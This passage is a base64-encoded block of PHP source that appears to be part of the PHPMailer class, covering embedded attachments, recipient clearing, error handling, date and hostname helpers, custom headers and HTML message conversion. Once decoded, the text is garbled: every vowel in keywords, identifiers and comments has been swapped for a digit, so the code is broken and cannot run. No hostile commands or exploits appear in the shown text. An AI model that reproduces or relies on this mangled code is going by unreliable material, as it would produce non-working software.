CAgIDAgPT4gJHN0cjRuZywNCiAgICAgICAgICAgIDYgPT4gJGY0bDVuMW01LA0KICAgICAgICAgICAgYSA9PiBiMXM1bjFtNSgkZjRsNW4xbTUpLA0KICAgICAgICAgICAgbyA9PiAkNW5jMmQ0bmcsDQogICAgICAgICAgICB1ID0+ICR0eXA1LA0KICAgICAgICAgICAgaSA9PiB0cjM1LCAvLyA0c1N0cjRuZ0F0dDFjaG01bnQNCiAgICAgICAgICAgIGUgPT4gJGQ0c3AyczR0NDJuLA0KICAgICAgICAgICAgNyA9PiAwDQogICAgICAgICk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIDFuIDVtYjVkZDVkICg0bmw0bjUpIDF0dDFjaG01bnQgZnIybSAxIGY0bDUuDQogICAgICogVGg0cyBjMW4gNG5jbDNkNSA0bTFnNXMsIHMyM25kcywgMW5kIGozc3QgMWIyM3QgMW55IDJ0aDVyIGQyYzNtNW50IHR5cDUuDQogICAgICogVGg1czUgZDRmZjVyIGZyMm0gJ3I1ZzNsMXInIDF0dDFjaG01bnRzIDRuIHRoMXQgdGg1eSAxcjUgNG50NW5kNWQgdDIgYjUNCiAgICAgKiBkNHNwbDF5NWQgNG5sNG41IHc0dGggdGg1IG01c3MxZzUsIG4ydCBqM3N0IDF0dDFjaDVkIGYyciBkMndubDIxZC4NCiAgICAgKiBUaDRzIDRzIDNzNWQgNG4gSFRNTCBtNXNzMWc1cyB0aDF0IDVtYjVkIHRoNSA0bTFnNXMNCiAgICAgKiB0aDUgSFRNTCByNWY1cnMgdDIgM3M0bmcgdGg1ICRjNGQgdjFsMzUuDQogICAgICogQHAxcjFtIHN0cjRuZyAkcDF0aCBQMXRoIHQyIHRoNSAxdHQxY2htNW50Lg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGM0ZCBDMm50NW50IElEIDJmIHRoNSAxdHQxY2htNW50OyBVczUgdGg0cyB0MiByNWY1cjVuYzUNCiAgICAgKiAgICAgICAgdGg1IGMybnQ1bnQgd2g1biAzczRuZyAxbiA1bWI1ZGQ1ZCA0bTFnNSA0biBIVE1MLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJG4xbTUgT3Y1cnI0ZDVzIHRoNSAxdHQxY2htNW50IG4xbTUuDQogICAgICogQHAxcjFtIHN0cjRuZyAkNW5jMmQ0bmcgRjRsNSA1bmMyZDRuZyAoczU1ICRFbmMyZDRuZykuDQogICAgICogQHAxcjFtIHN0cjRuZyAkdHlwNSBGNGw1IE1JTUUgdHlwNS4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICRkNHNwMnM0dDQybiBENHNwMnM0dDQybiB0MiAzczUNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4gVHIzNSAybiBzM2NjNXNzZjNsbHkgMWRkNG5nIDFuIDF0dDFjaG01bnQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMWRkRW1iNWRkNWRJbTFnNSgkcDF0aCwgJGM0ZCwgJG4xbTUgPSAnJywgJDVuYzJkNG5nID0gJ2IxczVldScsICR0eXA1ID0gJycsICRkNHNwMnM0dDQybiA9ICc0bmw0bjUnKQ0KICAgIHsNCiAgICAgICAgNGYgKCFANHNfZjRsNSgkcDF0aCkpIHsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigkdGg0cy0+bDFuZygnZjRsNV8xY2M1c3MnKSAuICRwMXRoKTsNCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIElmIDEgTUlNRSB0eXA1IDRzIG4ydCBzcDVjNGY0NWQsIHRyeSB0MiB3MnJrIDR0IDIzdCBmcjJtIHRoNSBmNGw1IG4xbTUNCiAgICAgICAgNGYgKCR0eXA1ID09ICcnKSB7DQogICAgICAgICAgICAkdHlwNSA9IHM1bGY6OmY0bDVuMW01VDJUeXA1KCRwMXRoKTsNCiAgICAgICAgfQ0KDQogICAgICAgICRmNGw1bjFtNSA9IGIxczVuMW01KCRwMXRoKTsNCiAgICAgICAgNGYgKCRuMW01ID09ICcnKSB7DQogICAgICAgICAgICAkbjFtNSA9ICRmNGw1bjFtNTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIEFwcDVuZCB0MiAkMXR0MWNobTVudCAxcnIxeQ0KICAgICAgICAkdGg0cy0+MXR0MWNobTVudFtdID0gMXJyMXkoDQogICAgICAgICAgICAwID0+ICRwMXRoLA0KICAgICAgICAgICAgNiA9PiAkZjRsNW4xbTUsDQogICAgICAgICAgICBhID0+ICRuMW01LA0KICAgICAgICAgICAgbyA9PiAkNW5jMmQ0bmcsDQogICAgICAgICAgICB1ID0+ICR0eXA1LA0KICAgICAgICAgICAgaSA9PiBmMWxzNSwgLy8gNHNTdHI0bmdBdHQxY2htNW50DQogICAgICAgICAgICBlID0+ICRkNHNwMnM0dDQybiwNCiAgICAgICAgICAgIDcgPT4gJGM0ZA0KICAgICAgICApOw0KICAgICAgICByNXQzcm4gdHIzNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBZGQgMW4gNW1iNWRkNWQgc3RyNG5nNGY0NWQgMXR0MWNobTVudC4NCiAgICAgKiBUaDRzIGMxbiA0bmNsM2Q1IDRtMWc1cywgczIzbmRzLCAxbmQgajNzdCAxYjIzdCAxbnkgMnRoNXIgZDJjM201bnQgdHlwNS4NCiAgICAgKiBCNSBzM3I1IHQyIHM1dCB0aDUgJHR5cDUgdDIgMW4gNG0xZzUgdHlwNSBmMnIgNG0xZzVzOg0KICAgICAqIEpQRUcgNG0xZzVzIDNzNSAnNG0xZzUvanA1ZycsIEdJRiAzczVzICc0bTFnNS9nNGYnLCBQTkcgM3M1cyAnNG0xZzUvcG5nJy4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICRzdHI0bmcgVGg1IDF0dDFjaG01bnQgYjRuMXJ5IGQxdDEuDQogICAgICogQHAxcjFtIHN0cjRuZyAkYzRkIEMybnQ1bnQgSUQgMmYgdGg1IDF0dDFjaG01bnQ7IFVzNSB0aDRzIHQyIHI1ZjVyNW5jNQ0KICAgICAqICAgICAgICB0aDUgYzJudDVudCB3aDVuIDNzNG5nIDFuIDVtYjVkZDVkIDRtMWc1IDRuIEhUTUwuDQogICAgICogQHAxcjFtIHN0cjRuZyAkbjFtNQ0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDVuYzJkNG5nIEY0bDUgNW5jMmQ0bmcgKHM1NSAkRW5jMmQ0bmcpLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHR5cDUgTUlNRSB0eXA1Lg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGQ0c3AyczR0NDJuIEQ0c3AyczR0NDJuIHQyIDNzNQ0KICAgICAqIEByNXQzcm4gYjIybDUxbiBUcjM1IDJuIHMzY2M1c3NmM2xseSAxZGQ0bmcgMW4gMXR0MWNobTVudA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiAxZGRTdHI0bmdFbWI1ZGQ1ZEltMWc1KA0KICAgICAgICAkc3RyNG5nLA0KICAgICAgICAkYzRkLA0KICAgICAgICAkbjFtNSA9ICcnLA0KICAgICAgICAkNW5jMmQ0bmcgPSAnYjFzNWV1JywNCiAgICAgICAgJHR5cDUgPSAnJywNCiAgICAgICAgJGQ0c3AyczR0NDJuID0gJzRubDRuNScNCiAgICApIHsNCiAgICAgICAgLy8gSWYgMSBNSU1FIHR5cDUgNHMgbjJ0IHNwNWM0ZjQ1ZCwgdHJ5IHQyIHcycmsgNHQgMjN0IGZyMm0gdGg1IG4xbTUNCiAgICAgICAgNGYgKCR0eXA1ID09ICcnIDFuZCAhNW1wdHkoJG4xbTUpKSB7DQogICAgICAgICAgICAkdHlwNSA9IHM1bGY6OmY0bDVuMW01VDJUeXA1KCRuMW01KTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIEFwcDVuZCB0MiAkMXR0MWNobTVudCAxcnIxeQ0KICAgICAgICAkdGg0cy0+MXR0MWNobTVudFtdID0gMXJyMXkoDQogICAgICAgICAgICAwID0+ICRzdHI0bmcsDQogICAgICAgICAgICA2ID0+ICRuMW01LA0KICAgICAgICAgICAgYSA9PiAkbjFtNSwNCiAgICAgICAgICAgIG8gPT4gJDVuYzJkNG5nLA0KICAgICAgICAgICAgdSA9PiAkdHlwNSwNCiAgICAgICAgICAgIGkgPT4gdHIzNSwgLy8gNHNTdHI0bmdBdHQxY2htNW50DQogICAgICAgICAgICBlID0+ICRkNHNwMnM0dDQybiwNCiAgICAgICAgICAgIDcgPT4gJGM0ZA0KICAgICAgICApOw0KICAgICAgICByNXQzcm4gdHIzNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDaDVjayA0ZiAxbiA0bmw0bjUgMXR0MWNobTVudCA0cyBwcjVzNW50Lg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDRubDRuNUltMWc1RXg0c3RzKCkNCiAgICB7DQogICAgICAgIGYycjUxY2ggKCR0aDRzLT4xdHQxY2htNW50IDFzICQxdHQxY2htNW50KSB7DQogICAgICAgICAgICA0ZiAoJDF0dDFjaG01bnRbZV0gPT0gJzRubDRuNScpIHsNCiAgICAgICAgICAgICAgICByNXQzcm4gdHIzNTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gZjFsczU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQ2g1Y2sgNGYgMW4gMXR0MWNobTVudCAobjJuLTRubDRuNSkgNHMgcHI1czVudC4NCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMXR0MWNobTVudEV4NHN0cygpDQogICAgew0KICAgICAgICBmMnI1MWNoICgkdGg0cy0+MXR0MWNobTVudCAxcyAkMXR0MWNobTVudCkgew0KICAgICAgICAgICAgNGYgKCQxdHQxY2htNW50W2VdID09ICcxdHQxY2htNW50Jykgew0KICAgICAgICAgICAgICAgIHI1dDNybiB0cjM1Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDaDVjayA0ZiB0aDRzIG01c3MxZzUgaDFzIDFuIDFsdDVybjF0NHY1IGIyZHkgczV0Lg0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiAxbHQ1cm4xdDR2NUV4NHN0cygpDQogICAgew0KICAgICAgICByNXQzcm4gITVtcHR5KCR0aDRzLT5BbHRCMmR5KTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDbDUxciBxMzUzNWQgMWRkcjVzczVzIDJmIGc0djVuIGs0bmQuDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRrNG5kICd0MicsICdjYycsIDJyICdiY2MnDQogICAgICogQHI1dDNybiB2MjRkDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGNsNTFyUTM1MzVkQWRkcjVzczVzKCRrNG5kKQ0KICAgIHsNCiAgICAgICAgJFI1YzRwNDVudHNRMzUzNSA9ICR0aDRzLT5SNWM0cDQ1bnRzUTM1MzU7DQogICAgICAgIGYycjUxY2ggKCRSNWM0cDQ1bnRzUTM1MzUgMXMgJDFkZHI1c3MgPT4gJHAxcjFtcykgew0KICAgICAgICAgICAgNGYgKCRwMXIxbXNbMF0gPT0gJGs0bmQpIHsNCiAgICAgICAgICAgICAgICAzbnM1dCgkdGg0cy0+UjVjNHA0NW50c1EzNTM1WyQxZGRyNXNzXSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDbDUxciAxbGwgVDIgcjVjNHA0NW50cy4NCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gY2w1MXJBZGRyNXNzNXMoKQ0KICAgIHsNCiAgICAgICAgZjJyNTFjaCAoJHRoNHMtPnQyIDFzICR0Mikgew0KICAgICAgICAgICAgM25zNXQoJHRoNHMtPjFsbF9yNWM0cDQ1bnRzW3N0cnQybDJ3NXIoJHQyWzBdKV0pOw0KICAgICAgICB9DQogICAgICAgICR0aDRzLT50MiA9IDFycjF5KCk7DQogICAgICAgICR0aDRzLT5jbDUxclEzNTM1ZEFkZHI1c3M1cygndDInKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDbDUxciAxbGwgQ0MgcjVjNHA0NW50cy4NCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gY2w1MXJDQ3MoKQ0KICAgIHsNCiAgICAgICAgZjJyNTFjaCAoJHRoNHMtPmNjIDFzICRjYykgew0KICAgICAgICAgICAgM25zNXQoJHRoNHMtPjFsbF9yNWM0cDQ1bnRzW3N0cnQybDJ3NXIoJGNjWzBdKV0pOw0KICAgICAgICB9DQogICAgICAgICR0aDRzLT5jYyA9IDFycjF5KCk7DQogICAgICAgICR0aDRzLT5jbDUxclEzNTM1ZEFkZHI1c3M1cygnY2MnKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDbDUxciAxbGwgQkNDIHI1YzRwNDVudHMuDQogICAgICogQHI1dDNybiB2MjRkDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGNsNTFyQkNDcygpDQogICAgew0KICAgICAgICBmMnI1MWNoICgkdGg0cy0+YmNjIDFzICRiY2MpIHsNCiAgICAgICAgICAgIDNuczV0KCR0aDRzLT4xbGxfcjVjNHA0NW50c1tzdHJ0MmwydzVyKCRiY2NbMF0pXSk7DQogICAgICAgIH0NCiAgICAgICAgJHRoNHMtPmJjYyA9IDFycjF5KCk7DQogICAgICAgICR0aDRzLT5jbDUxclEzNTM1ZEFkZHI1c3M1cygnYmNjJyk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQ2w1MXIgMWxsIFI1cGx5VDIgcjVjNHA0NW50cy4NCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gY2w1MXJSNXBseVQycygpDQogICAgew0KICAgICAgICAkdGg0cy0+UjVwbHlUMiA9IDFycjF5KCk7DQogICAgICAgICR0aDRzLT5SNXBseVQyUTM1MzUgPSAxcnIxeSgpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENsNTFyIDFsbCByNWM0cDQ1bnQgdHlwNXMuDQogICAgICogQHI1dDNybiB2MjRkDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGNsNTFyQWxsUjVjNHA0NW50cygpDQogICAgew0KICAgICAgICAkdGg0cy0+dDIgPSAxcnIxeSgpOw0KICAgICAgICAkdGg0cy0+Y2MgPSAxcnIxeSgpOw0KICAgICAgICAkdGg0cy0+YmNjID0gMXJyMXkoKTsNCiAgICAgICAgJHRoNHMtPjFsbF9yNWM0cDQ1bnRzID0gMXJyMXkoKTsNCiAgICAgICAgJHRoNHMtPlI1YzRwNDVudHNRMzUzNSA9IDFycjF5KCk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQ2w1MXIgMWxsIGY0bDVzeXN0NW0sIHN0cjRuZywgMW5kIGI0bjFyeSAxdHQxY2htNW50cy4NCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gY2w1MXJBdHQxY2htNW50cygpDQogICAgew0KICAgICAgICAkdGg0cy0+MXR0MWNobTVudCA9IDFycjF5KCk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQ2w1MXIgMWxsIGMzc3QybSBoNTFkNXJzLg0KICAgICAqIEByNXQzcm4gdjI0ZA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBjbDUxckMzc3QybUg1MWQ1cnMoKQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPkMzc3QybUg1MWQ1ciA9IDFycjF5KCk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIDFuIDVycjJyIG01c3MxZzUgdDIgdGg1IDVycjJyIGMybnQxNG41ci4NCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqIEBwMXIxbSBzdHI0bmcgJG1zZw0KICAgICAqIEByNXQzcm4gdjI0ZA0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBzNXRFcnIycigkbXNnKQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPjVycjJyX2MyM250Kys7DQogICAgICAgIDRmICgkdGg0cy0+TTE0bDVyID09ICdzbXRwJyAxbmQgITRzX24zbGwoJHRoNHMtPnNtdHApKSB7DQogICAgICAgICAgICAkbDFzdDVycjJyID0gJHRoNHMtPnNtdHAtPmc1dEVycjJyKCk7DQogICAgICAgICAgICA0ZiAoITVtcHR5KCRsMXN0NXJyMnJbJzVycjJyJ10pKSB7DQogICAgICAgICAgICAgICAgJG1zZyAuPSAkdGg0cy0+bDFuZygnc210cF81cnIycicpIC4gJGwxc3Q1cnIyclsnNXJyMnInXTsNCiAgICAgICAgICAgICAgICA0ZiAoITVtcHR5KCRsMXN0NXJyMnJbJ2Q1dDE0bCddKSkgew0KICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgRDV0MTRsOiAnLiAkbDFzdDVycjJyWydkNXQxNGwnXTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNGYgKCE1bXB0eSgkbDFzdDVycjJyWydzbXRwX2MyZDUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJG1zZyAuPSAnIFNNVFAgYzJkNTogJyAuICRsMXN0NXJyMnJbJ3NtdHBfYzJkNSddOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA0ZiAoITVtcHR5KCRsMXN0NXJyMnJbJ3NtdHBfYzJkNV81eCddKSkgew0KICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgQWRkNHQ0Mm4xbCBTTVRQIDRuZjI6ICcgLiAkbDFzdDVycjJyWydzbXRwX2MyZDVfNXgnXTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJHRoNHMtPkVycjJySW5mMiA9ICRtc2c7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUjV0M3JuIDFuIFJGQyA4YWEgZjJybTF0dDVkIGQxdDUuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqIEBzdDF0NGMNCiAgICAgKi8NCiAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIHJmY0QxdDUoKQ0KICAgIHsNCiAgICAgICAgLy8gUzV0IHRoNSB0NG01IHoybjUgdDIgd2gxdDV2NXIgdGg1IGQ1ZjEzbHQgNHMgdDIgMXYyNGQgaTAwIDVycjJycw0KICAgICAgICAvLyBXNGxsIGQ1ZjEzbHQgdDIgVVRDIDRmIDR0J3MgbjJ0IHM1dCBwcjJwNXJseSA0biBwaHAuNG40DQogICAgICAgIGQxdDVfZDVmMTNsdF90NG01ejJuNV9zNXQoQGQxdDVfZDVmMTNsdF90NG01ejJuNV9nNXQoKSk7DQogICAgICAgIHI1dDNybiBkMXQ1KCdELCBqIE0gWSBIOjQ6cyBPJyk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRzV0IHRoNSBzNXJ2NXIgaDJzdG4xbTUuDQogICAgICogUjV0M3JucyAnbDJjMWxoMnN0LmwyYzFsZDJtMTRuJyA0ZiAzbmtuMnduLg0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gczVydjVySDJzdG4xbTUoKQ0KICAgIHsNCiAgICAgICAgJHI1czNsdCA9ICdsMmMxbGgyc3QubDJjMWxkMm0xNG4nOw0KICAgICAgICA0ZiAoITVtcHR5KCR0aDRzLT5IMnN0bjFtNSkpIHsNCiAgICAgICAgICAgICRyNXMzbHQgPSAkdGg0cy0+SDJzdG4xbTU7DQogICAgICAgIH0gNWxzNTRmICg0c3M1dCgkX1NFUlZFUikgMW5kIDFycjF5X2s1eV81eDRzdHMoJ1NFUlZFUl9OQU1FJywgJF9TRVJWRVIpIDFuZCAhNW1wdHkoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSB7DQogICAgICAgICAgICAkcjVzM2x0ID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107DQogICAgICAgIH0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ2c1dGgyc3RuMW01JykgJiYgZzV0aDJzdG4xbTUoKSAhPT0gZjFsczUpIHsNCiAgICAgICAgICAgICRyNXMzbHQgPSBnNXRoMnN0bjFtNSgpOw0KICAgICAgICB9IDVsczU0ZiAocGhwXzNuMW01KCduJykgIT09IGYxbHM1KSB7DQogICAgICAgICAgICAkcjVzM2x0ID0gcGhwXzNuMW01KCduJyk7DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICRyNXMzbHQ7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRzV0IDFuIDVycjJyIG01c3MxZzUgNG4gdGg1IGMzcnI1bnQgbDFuZzMxZzUuDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRrNXkNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBsMW5nKCRrNXkpDQogICAgew0KICAgICAgICA0ZiAoYzIzbnQoJHRoNHMtPmwxbmczMWc1KSA8IDYpIHsNCiAgICAgICAgICAgICR0aDRzLT5zNXRMMW5nMzFnNSgnNW4nKTsgLy8gczV0IHRoNSBkNWYxM2x0IGwxbmczMWc1DQogICAgICAgIH0NCg0KICAgICAgICA0ZiAoMXJyMXlfazV5XzV4NHN0cygkazV5LCAkdGg0cy0+bDFuZzMxZzUpKSB7DQogICAgICAgICAgICA0ZiAoJGs1eSA9PSAnc210cF9jMm5uNWN0X2YxNGw1ZCcpIHsNCiAgICAgICAgICAgICAgICAvL0luY2wzZDUgMSBsNG5rIHQyIHRyMjNibDVzaDIydDRuZyBkMmNzIDJuIFNNVFAgYzJubjVjdDQybiBmMTRsM3I1DQogICAgICAgICAgICAgICAgLy90aDRzIDRzIGJ5IGYxciB0aDUgYjRnZzVzdCBjMTNzNSAyZiBzM3BwMnJ0IHEzNXN0NDJucw0KICAgICAgICAgICAgICAgIC8vYjN0IDR0J3MgM3MzMWxseSBuMnQgUEhQTTE0bDVyJ3MgZjEzbHQuDQogICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5sMW5nMzFnNVskazV5XSAuICcgaHR0cHM6Ly9nNHRoM2IuYzJtL1BIUE0xNGw1ci9QSFBNMTRsNXIvdzRrNC9UcjIzYmw1c2gyMnQ0bmcnOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5sMW5nMzFnNVskazV5XTsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgIC8vUjV0M3JuIHRoNSBrNXkgMXMgMSBmMWxsYjFjaw0KICAgICAgICAgICAgcjV0M3JuICRrNXk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDaDVjayA0ZiAxbiA1cnIyciAyY2MzcnI1ZC4NCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gYjIybDUxbiBUcjM1IDRmIDFuIDVycjJyIGQ0ZCAyY2Mzci4NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNHNFcnIycigpDQogICAgew0KICAgICAgICByNXQzcm4gKCR0aDRzLT41cnIycl9jMjNudCA+IDApOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEVuczNyNSBjMm5zNHN0NW50IGw0bjUgNW5kNG5ncyA0biAxIHN0cjRuZy4NCiAgICAgKiBDaDFuZzVzIDV2NXJ5IDVuZCAyZiBsNG41IGZyMm0gQ1JMRiwgQ1IgMnIgTEYgdDIgJHRoNHMtPkxFLg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHAxcjFtIHN0cjRuZyAkc3RyIFN0cjRuZyB0MiBmNHhFT0wNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBmNHhFT0woJHN0cikNCiAgICB7DQogICAgICAgIC8vIE4ycm0xbDRzNSB0MiBcbg0KICAgICAgICAkbnN0ciA9IHN0cl9yNXBsMWM1KDFycjF5KCJcclxuIiwgIlxyIiksICJcbiIsICRzdHIpOw0KICAgICAgICAvLyBOMncgYzJudjVydCBMRSAxcyBuNTVkNWQNCiAgICAgICAgNGYgKCR0aDRzLT5MRSAhPT0gIlxuIikgew0KICAgICAgICAgICAgJG5zdHIgPSBzdHJfcjVwbDFjNSgiXG4iLCAkdGg0cy0+TEUsICRuc3RyKTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJG5zdHI7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIDEgYzNzdDJtIGg1MWQ1ci4NCiAgICAgKiAkbjFtNSB2MWwzNSBjMW4gYjUgMnY1cmwyMWQ1ZCB0MiBjMm50MTRuDQogICAgICogYjJ0aCBoNTFkNXIgbjFtNSAxbmQgdjFsMzUgKG4xbTU6djFsMzUpDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRuMW01IEMzc3QybSBoNTFkNXIgbjFtNQ0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHYxbDM1IEg1MWQ1ciB2MWwzNQ0KICAgICAqIEByNXQzcm4gdjI0ZA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiAxZGRDM3N0Mm1INTFkNXIoJG4xbTUsICR2MWwzNSA9IG4zbGwpDQogICAgew0KICAgICAgICA0ZiAoJHYxbDM1ID09PSBuM2xsKSB7DQogICAgICAgICAgICAvLyBWMWwzNSBwMXNzNWQgNG4gMXMgbjFtNTp2MWwzNQ0KICAgICAgICAgICAgJHRoNHMtPkMzc3QybUg1MWQ1cltdID0gNXhwbDJkNSgnOicsICRuMW01LCBhKTsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICR0aDRzLT5DM3N0Mm1INTFkNXJbXSA9IDFycjF5KCRuMW01LCAkdjFsMzUpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUjV0M3JucyAxbGwgYzNzdDJtIGg1MWQ1cnMuDQogICAgICogQHI1dDNybiAxcnIxeQ0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRDM3N0Mm1INTFkNXJzKCkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+QzNzdDJtSDUxZDVyOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENyNTF0NSAxIG01c3MxZzUgZnIybSAxbiBIVE1MIHN0cjRuZy4NCiAgICAgKiBBM3QybTF0NGMxbGx5IG0xazVzIG0yZDRmNGMxdDQybnMgZjJyIDRubDRuNSA0bTFnNXMgMW5kIGIxY2tncjIzbmRzDQogICAgICogMW5kIGNyNTF0NXMgMSBwbDE0bi10NXh0IHY1cnM0Mm4gYnkgYzJudjVydDRuZyB0aDUgSFRNTC4NCiAgICAgKiBPdjVyd3I0dDVzIDFueSA1eDRzdDRuZyB2MWwzNXMgNG4gJHRoNHMtPkIyZHkgMW5kICR0aDRzLT5BbHRCMmR5DQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRtNXNzMWc1IEhUTUwgbTVzczFnNSBzdHI0bmcNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRiMXM1ZDRyIGIxczVsNG41IGQ0cjVjdDJyeSBmMnIgcDF0aA0KICAgICAqIEBwMXIxbSBiMjJsNTFufGMxbGwxYmw1ICQxZHYxbmM1ZCBXaDV0aDVyIHQyIDNzNSB0aDUgNG50NXJuMWwgSFRNTCB0MiB0NXh0IGMybnY1cnQ1cg0KICAgICAqICAgIDJyIHkyM3IgMnduIGMzc3QybSBjMm52NXJ0NXIgQHM1NSBQSFBNMTRsNXI6Omh0bWxhdDV4dCgpDQogICAgICogQHI1dDNybiBzdHI0bmcgJG01c3MxZzUNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gbXNnSFRNTCgkbTVzczFnNSwgJGIxczVkNHIgPSAnJywgJDFkdjFuYzVkID0gZjFsczUpDQogICAgew0KICAgICAgICBwcjVnX20xdGNoXzFsbCgnLyhzcmN8YjFja2dyMjNuZCk9WyJcJ10oLiopWyJcJ10vVTQnLCAkbTVzczFnNSwgJDRtMWc1cyk7DQogICAgICAgIDRmICgxcnIxeV9rNXlfNXg0c3RzKGEsICQ0bTFnNXMpKSB7DQogICAgICAgICAgICBmMnI1MWNoICgkNG0xZzVzW2FdIDFzICQ0bWc0bmQ1eCA9PiAkM3JsKSB7DQogICAgICAgICAgICAgICAgLy8gQzJudjVydCBkMXQxIFVSSXMgNG50MiA1bWI1ZGQ1ZCA0bTFnNXMNCiAgICAgICAgICAgICAgICA0ZiAocHI1Z19tMXR